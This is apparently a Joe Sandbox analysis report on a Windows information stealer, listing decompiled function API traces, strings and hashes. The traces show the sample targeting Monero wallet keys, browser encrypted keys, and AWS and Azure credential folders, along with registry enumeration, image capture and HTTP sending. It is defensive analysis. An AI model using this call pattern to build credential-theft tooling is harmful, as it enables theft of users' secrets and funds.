InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A759F8
StrCmpCA.SHLWAPI(?,0068F400), ref: 00A75A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A75B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0068F4C0,00000000,?,0068E438,00000000,?,00A91A1C), ref: 00A75E71
lstrlen.KERNEL32(00000000), ref: 00A75E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00A75E93
RtlAllocateHeap.NTDLL(00000000), ref: 00A75E9A
lstrlen.KERNEL32(00000000), ref: 00A75EAF
lstrlen.KERNEL32(00000000), ref: 00A75ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A75EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00A75F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A75F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00A75F4C
InternetCloseHandle.WININET(00000000), ref: 00A75FB0
InternetCloseHandle.WININET(00000000), ref: 00A75FBD
HttpOpenRequestA.WININET(00000000,0068F510,?,0068EC88,00000000,00000000,00400100,00000000), ref: 00A75BF8

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

InternetCloseHandle.WININET(00000000), ref: 00A75FC7

Strings

------, xrefs: 00A75D4C
8h, xrefs: 00A75C82, 00A75DC3
", xrefs: 00A75CD5
------, xrefs: 00A75C0B
------, xrefs: 00A75A96
", xrefs: 00A75E16

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$8h
API String ID: 874700897-1913097653
Opcode ID: 4db567559b1b42450f0bee999ae928bf189efeec7cd6b9f71ab4885e21f3205e
Instruction ID: 81f297fea2e90b3a7a371dbbdf474dba269bf889a3ebffb5597e260ebca0b668
Opcode Fuzzy Hash: 4db567559b1b42450f0bee999ae928bf189efeec7cd6b9f71ab4885e21f3205e
Instruction Fuzzy Hash: 9A12F172920118AAEB15FBA0DD95FEEB378BF24700F50459AF10672091EF742E4ACF65

Function 00A7CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A88B60: GetSystemTime.KERNEL32(00A90E1A,0068E2E8,00A905AE,?,?,00A713F9,?,0000001A,00A90E1A,00000000,?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A88B86

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A7CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A7D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00A7D0CE
lstrcat.KERNEL32(?,00000000), ref: 00A7D208
lstrcat.KERNEL32(?,00A91478), ref: 00A7D217
lstrcat.KERNEL32(?,00000000), ref: 00A7D22A
lstrcat.KERNEL32(?,00A9147C), ref: 00A7D239
lstrcat.KERNEL32(?,00000000), ref: 00A7D24C
lstrcat.KERNEL32(?,00A91480), ref: 00A7D25B
lstrcat.KERNEL32(?,00000000), ref: 00A7D26E
lstrcat.KERNEL32(?,00A91484), ref: 00A7D27D
lstrcat.KERNEL32(?,00000000), ref: 00A7D290
lstrcat.KERNEL32(?,00A91488), ref: 00A7D29F
lstrcat.KERNEL32(?,00000000), ref: 00A7D2B2
lstrcat.KERNEL32(?,00A9148C), ref: 00A7D2C1
lstrcat.KERNEL32(?,00000000), ref: 00A7D2D4
lstrcat.KERNEL32(?,00A91490), ref: 00A7D2E3

Part of subcall function 00A8A820: lstrlen.KERNEL32(00A74F05,?,?,00A74F05,00A90DDE), ref: 00A8A82B
Part of subcall function 00A8A820: lstrcpy.KERNEL32(00A90DDE,00000000), ref: 00A8A885

lstrlen.KERNEL32(?), ref: 00A7D32A
lstrlen.KERNEL32(?), ref: 00A7D339

Part of subcall function 00A8AA70: StrCmpCA.SHLWAPI(00688AD8,00A7A7A7,?,00A7A7A7,00688AD8), ref: 00A8AA8F

DeleteFileA.KERNEL32(00000000), ref: 00A7D3B4

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f36bddbdabcbb941b5dcdd500f1d23a030543e55458f98105544ecd3466d1aa8
Instruction ID: eb972e8a17b693629d472c6e8cb4961476d08b3da42be2fe012d442716241eff
Opcode Fuzzy Hash: f36bddbdabcbb941b5dcdd500f1d23a030543e55458f98105544ecd3466d1aa8
Instruction Fuzzy Hash: BCE10C71910108ABDB08FBA0DE96FEE7378BF64301F504559F147B6091DE39AA06CB72

Function 00A74880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A74839
Part of subcall function 00A747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A74849

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A74915
StrCmpCA.SHLWAPI(?,0068F400), ref: 00A7493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A74ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00A90DDB,00000000,?,?,00000000,?,",00000000,?,0068F450), ref: 00A74DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A74E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A74E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A74E49
InternetCloseHandle.WININET(00000000), ref: 00A74EAD
InternetCloseHandle.WININET(00000000), ref: 00A74EC5
HttpOpenRequestA.WININET(00000000,0068F510,?,0068EC88,00000000,00000000,00400100,00000000), ref: 00A74B15

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

InternetCloseHandle.WININET(00000000), ref: 00A74ECF

Strings

8h, xrefs: 00A74B9F, 00A74CE0
------, xrefs: 00A74C69
", xrefs: 00A74D33
------, xrefs: 00A74B28
------, xrefs: 00A749BD
", xrefs: 00A74BF2

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$8h
API String ID: 460715078-1913097653
Opcode ID: 1f972bd0a8eb1ba1922a69e8d1a4fd8c0159ff4990caebd5f56d1da93639940d
Instruction ID: 2998db2351e3741054e4a2e02526b4646192461ebb7ebcba8683fa52f1121d24
Opcode Fuzzy Hash: 1f972bd0a8eb1ba1922a69e8d1a4fd8c0159ff4990caebd5f56d1da93639940d
Instruction Fuzzy Hash: 8D129C72910118AAEB15FB90DE92FEEB778BF64300F50459AF10672491EF742F49CB62

Function 00A88320 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

RegOpenKeyExA.ADVAPI32(00000000,0068B848,00000000,00020019,00000000,00A905B6), ref: 00A883A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A88426
wsprintfA.USER32 ref: 00A88459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00A8847B
RegCloseKey.ADVAPI32(00000000), ref: 00A8848C
RegCloseKey.ADVAPI32(00000000), ref: 00A88499

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Strings

(h, xrefs: 00A8858C
hh, xrefs: 00A884DF
- , xrefs: 00A885A3
?, xrefs: 00A8837A
%s\%s, xrefs: 00A8844D

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$(h$?$hh
API String ID: 3246050789-1147243618
Opcode ID: fd25d5ed7e29af2906a398452a1fbd04f7f6fd5fcc16bdb84ed3215822a8c316
Instruction ID: d7de036844349be97e2e378ee6d80acb6f051ae509f54b582fe9afa3b9534a92
Opcode Fuzzy Hash: fd25d5ed7e29af2906a398452a1fbd04f7f6fd5fcc16bdb84ed3215822a8c316
Instruction Fuzzy Hash: 52812B71910118ABEB24EB50CD91FEEB7B8FF18700F4086D9E149A6180DF75AB85CFA1

Function 00A7C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0068D1D0,00000000,?,00A9144C,00000000,?,?), ref: 00A7CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00A7CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00A7CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A7CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A7CAD9
StrStrA.SHLWAPI(?,0068D200,00A90B52), ref: 00A7CAF7
StrStrA.SHLWAPI(00000000,0068D320), ref: 00A7CB1E
StrStrA.SHLWAPI(?,0068DA20,00000000,?,00A91458,00000000,?,00000000,00000000,?,00688AB8,00000000,?,00A91454,00000000,?), ref: 00A7CCA2
StrStrA.SHLWAPI(00000000,0068DB40), ref: 00A7CCB9

Part of subcall function 00A7C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00A7C871
Part of subcall function 00A7C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00A7C87C

StrStrA.SHLWAPI(?,0068DB40,00000000,?,00A9145C,00000000,?,00000000,00688BA8), ref: 00A7CD5A
StrStrA.SHLWAPI(00000000,00688A68), ref: 00A7CD71

Part of subcall function 00A7C820: lstrcat.KERNEL32(?,00A90B46), ref: 00A7C943
Part of subcall function 00A7C820: lstrcat.KERNEL32(?,00A90B47), ref: 00A7C957
Part of subcall function 00A7C820: lstrcat.KERNEL32(?,00A90B4E), ref: 00A7C978

lstrlen.KERNEL32(00000000), ref: 00A7CE44
CloseHandle.KERNEL32(00000000), ref: 00A7CE9C

Strings

, xrefs: 00A7C9C6

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 65c397d64d33ccfcb4722585d58739db6a7c60c6d9f81c5a795a7a510f6c2e57
Instruction ID: 8e8fc0f69ce80d5d42fd6641069c7d353a9d53cbeac5231d169c8ff9ce60736f
Opcode Fuzzy Hash: 65c397d64d33ccfcb4722585d58739db6a7c60c6d9f81c5a795a7a510f6c2e57
Instruction Fuzzy Hash: 4AE1EE72D10108ABEB15FBA4DD96FEEB778AF64300F40415AF10677191EF346A4ACB62

Function 00A84280 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A88E0B

lstrcat.KERNEL32(?,00000000), ref: 00A842EC
lstrcat.KERNEL32(?,0068EA78), ref: 00A8430B
lstrcat.KERNEL32(?,?), ref: 00A8431F
lstrcat.KERNEL32(?,0068D038), ref: 00A84333

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A88D90: GetFileAttributesA.KERNEL32(00000000,?,00A71B54,?,?,00A9564C,?,?,00A90E1F), ref: 00A88D9F

Part of subcall function 00A79CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00A79D39

Part of subcall function 00A799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A799EC
Part of subcall function 00A799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A79A11
Part of subcall function 00A799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A79A31
Part of subcall function 00A799C0: ReadFile.KERNEL32(000000FF,?,00000000,00A7148F,00000000), ref: 00A79A5A
Part of subcall function 00A799C0: LocalFree.KERNEL32(00A7148F), ref: 00A79A90
Part of subcall function 00A799C0: CloseHandle.KERNEL32(000000FF), ref: 00A79A9A

Part of subcall function 00A893C0: GlobalAlloc.KERNEL32(00000000,00A843DD,00A843DD), ref: 00A893D3

StrStrA.SHLWAPI(?,0068E970), ref: 00A843F3
GlobalFree.KERNEL32(?), ref: 00A84512

Part of subcall function 00A79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A74EEE,00000000,00000000), ref: 00A79AEF
Part of subcall function 00A79AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00A74EEE,00000000,?), ref: 00A79B01
Part of subcall function 00A79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A74EEE,00000000,00000000), ref: 00A79B2A
Part of subcall function 00A79AC0: LocalFree.KERNEL32(?,?,?,?,00A74EEE,00000000,?), ref: 00A79B3F

lstrcat.KERNEL32(?,00000000), ref: 00A844A3
StrCmpCA.SHLWAPI(?,00A908D1), ref: 00A844C0
lstrcat.KERNEL32(00000000,00000000), ref: 00A844D2
lstrcat.KERNEL32(00000000,?), ref: 00A844E5
lstrcat.KERNEL32(00000000,00A90FB8), ref: 00A844F4

Strings

ph, xrefs: 00A843E6
xh, xrefs: 00A842FD

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: ph$xh
API String ID: 3541710228-918046377
Opcode ID: 1a3b57d83836e04a48346f522a7f8a92fe57152ce59651629eb55bcd261f6e32
Instruction ID: 8cc0ae53aff5f96a35cc57466ed93f9d46d50ffad73d6015434057934997fca0
Opcode Fuzzy Hash: 1a3b57d83836e04a48346f522a7f8a92fe57152ce59651629eb55bcd261f6e32
Instruction Fuzzy Hash: BD7156B6900208BBDB14FBA4DD85FEE73B9BB98300F048599F60997181EA35DB45CF91

Function 00A89010 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00A8906C

Strings

ph, xrefs: 00A891BD
image/jpeg, xrefs: 00A89136

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg$ph
API String ID: 2244384528-2801389656
Opcode ID: d63b3cb6db139a1069f9802a0df5986cbcf877eace2f54afcea0625c3886978a
Instruction ID: 8469e79d3119dda7e86d065fe105b126b71bedf0edf3c61b4e30893c8c99051e
Opcode Fuzzy Hash: d63b3cb6db139a1069f9802a0df5986cbcf877eace2f54afcea0625c3886978a
Instruction Fuzzy Hash: EB71F1B1910208AFDB04EFE4DD89FEEB7B9BF48700F148618F555A7290EB35A905CB61

Function 00A84D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A88E0B

lstrcat.KERNEL32(?,00000000), ref: 00A84DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00A84DCD

Part of subcall function 00A84910: wsprintfA.USER32 ref: 00A8492C
Part of subcall function 00A84910: FindFirstFileA.KERNEL32(?,?), ref: 00A84943

lstrcat.KERNEL32(?,00000000), ref: 00A84E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00A84E59

Part of subcall function 00A84910: StrCmpCA.SHLWAPI(?,00A90FDC), ref: 00A84971
